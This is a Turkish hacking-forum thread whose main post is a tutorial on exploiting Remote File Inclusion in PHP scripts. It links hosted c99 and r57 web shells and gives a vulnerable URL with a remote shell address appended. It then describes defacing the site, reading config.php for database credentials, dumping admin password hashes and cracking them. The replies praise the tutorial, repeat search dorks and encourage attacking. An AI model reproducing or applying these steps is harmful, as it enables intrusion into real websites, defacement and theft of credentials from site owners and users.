Hocam peki arkama motorlarinda nasil ariyacagiz :D cep/lib/pcltar. lib. php?g_pcltar_lib_dir= aradim 2 tane ikti :D olmadi cep/lib/pcltar. lib. php?g_pcltar_lib_dir= aradim hec Cikmadi :D

hh imanım gevredi layn :\güzel dkümal ama fakat açığın teorik kısmına yani açıklayıcı kısmına biraz daha değinseydin daha hoş grükürdü gzüme. ama pratik anlamda yararlı :) kendinize ayığ olunuz

emeğine sağlık iyi paylaşım saldırmak gerek :) işte geldik gidiyoruz bilinmez diyara, Eskiden karpuz idik şimdi dndük bir hıyaraaaaa

biliyorum abi kendi shellinizi sokun adamınkinden şey etmeyin bi nevi pratik :)

Güzel dküman olmuş hoca tebrikler... Sanıyorum kendi ataszümü yaptım, kaynak belirterek kullanabilirsiniz. 10.05.2013 tarihli google arama sonucu : Aradığınız - "herşeyin hayırlısı rampanın bayırlısı" - ile ilgili hiçbir arama sonucu mevcut değil. Not : Syleyeni belli olduğu için ataszü değil, zlüsz oluyormuş, dolayısı ile kendi zlüszümü yapmış oldum :)

Eyw hacı :D valla cosmice sormuştum araştır diodu ipne :D :P Sz gümüşse, altın paradır...

Güzel yazı olmuş hoca tebrikler. Konuyu zıplatalım grmeyen arkadaşlarda faydalansın :)

Evet resimler yok. İmageshack. us'a upload edersen daha iyi olur hocam. Nebula

: Hocam peki arkama motorlarinda nasil ariyacagiz :D cep/lib/pcltar. lib. php?g_pcltar_lib_dir= aradim 2 tane ikti :D olmadi cep/lib/pcltar. lib. php?g_pcltar_lib_dir= aradim hec Cikmadi :D O dosyayı kullanan site yoktur yada işte2 tane cıktıysa 2 tane vardır onlarda açıgı kapatmış-scripti güncellemiştir. Burda cok felsefi bir yazi yazdigini dusun, ne sen yorul ne de ben yorulayım. İş yapılmayacaklar listem : hipokondriyak

ellerine sağlık sabaha kadar bekledim eklemeni amq dayanamadım yattım sonra süpersin ;) Bittik biz bittik

basit anlaşılır yararlı saol kardeşim... Mühendis kahveyi projeye dnüştüren bir insan evladıdır.

resim falan yok ortada. a fix for grace

RudeboY bunu yazdı: Eyw hacı :D valla cosmice sormuştum araştır diodu ipne :D :P ne zmn sordun laaaaa hiç hatırlamıom sen php-fucker la uğraşırken ben bunla oğraşıodum o akşam ama bi boq yapamadık ;D Bittik biz bittik

Bu saatte beni deli skti:D. Şu çok meşhur rfi yntemini anlatmak istedim. Evet RFI nedir?RFI açılımı Remote File Inclusion dır. Uzaktan dosya dahil etmek yani. PHP scriptlerde bulunan bir açıktır. Siteye dosya eklememize yarar. Peki bu nasıl olur, yani bu açık ortaya nasıl çıkar? Programlama dillerinde değişkenler vardır ve bunların içinde bilgiler saklanır, yle diyim. RFI açığı olan yerde, değişken tanımlı değildir, yani değişkenin bir değeri yoktur diyelim bizde o değişkeni kendi dosyamızla doldururuz (c99, r57 birazdan değineceğim) olayın mantığı bu :) Şimdi siteye nasıl dosya atıcaz? Gzat/upload olayını kastetmiyorum burada. RFI açığı bulunan scriptlere kendi shellimizi sokucaz nce shelleri verelim; http://www.megaturks.by. ru/c99. txt http://www.megaturks.by. ru/r57. txt Biz burada c99 kullanıcaz siteler üzerinde işlem yaparken c99 daha idealdir, server rootlarken falan r57yi kullanırız. Bu sheller php file system objectlerdir, dosyalar üzerinde işlem yapmamıza yararlar. Şimdi bir sitede nasıl meydana gelir RFI açığı yani daha doğrusu ne şekilde kullanılır, grelim. www.milw0rm.com dan herhangi bir scriptteki RFI açığına bakalım; cep/lib/pcltar. lib. php?g_pcltar_lib_dir=shell Pathi değiştireceksiniz tabi sayfanın bulunduğu yer olacak orası bir de nereyi değiştiricez? tabi ki shell blümünü! Shell yazan yere kendi shellimizin linkini yazalım yani ;cep/lib/pcltar. lib. php?g_pcltar_lib_dir=http://www.megaturks.by. ru/c99. txt?Evet eğer açık varsa shellimize giricez, shell nasıl bi yer merak ediyosunuz di mi? Resmini de koyim ; Yazma iznimizin olduğu noktalara ki resimlerde grülüyor indeximizi atabiliriz. Peki ya yazma iznimiz yoksa?Kaçıcak mıyız, tabi ki hayır... Biz şu an tüm dosyaları grebiliyoruz değil mi?-evetE o zaman veritabanı bilgilerinin bulunduğu "config. php" dosyasını da grürüz :). Bu dosyayı bulun ve içindeki dbusername, dbpass gibi bilgileri bir yere not edin. Yukarıda SQL diye bir kutucuk greceksiniz. Ona tıklayın ;config. php de ki bilgileri saklamıştık SQL blümünde aşağıdaki resimdeki yerlere yazıyoruz; Bağlandıktan sonra user şifrelerini bulabileceğimiz user adlı blümü buluruz, orada ilk user falan admindir, onların şifreleri yanlarında yazar ama md5li bir şekildedir, md5leri bir md5 hash çzme sitesinden çzebilirsiniz. Evet arkadaşlar ben config. php dosyasını falan aramaya üşendim, bakmadım bile: ) . Zaten nemli yerler buralarıydı, umarım yeni arkadaşlara faydalı olmuştur, saat geç yorgunlukta var yazarken bi hata olduysa affola :)Not:Tarafımdan yazıldı çalıntı değil, bir de PitBull arkadaşıma teşekkürler, siteyi ve shelleri verdiği için yoksa ben üşenip site falan aramazdım ve resimsiz bir doküman çıkardı ortaya.

Konu gecen senenın konusu olduğundan sorun yok

saol anti ellerine sağlık Doğru kişi olmak meselenin yarısıdır, diğer yarısı; doğru zamanda, doğru yerde, doğru kişilerle karşılaşmış olmanızdır.

eywalalh antioksid kardes ne demek her zqman ne zaman ıstersen soyle paylasımın ıcın elımden gelen yardımı ederım kardesım ;) elelrıne saglık guzel bı paylasım ;)

abi adres cubugunu silmişsin de titlelar duruyor xD en cok nick dei$tiren mürid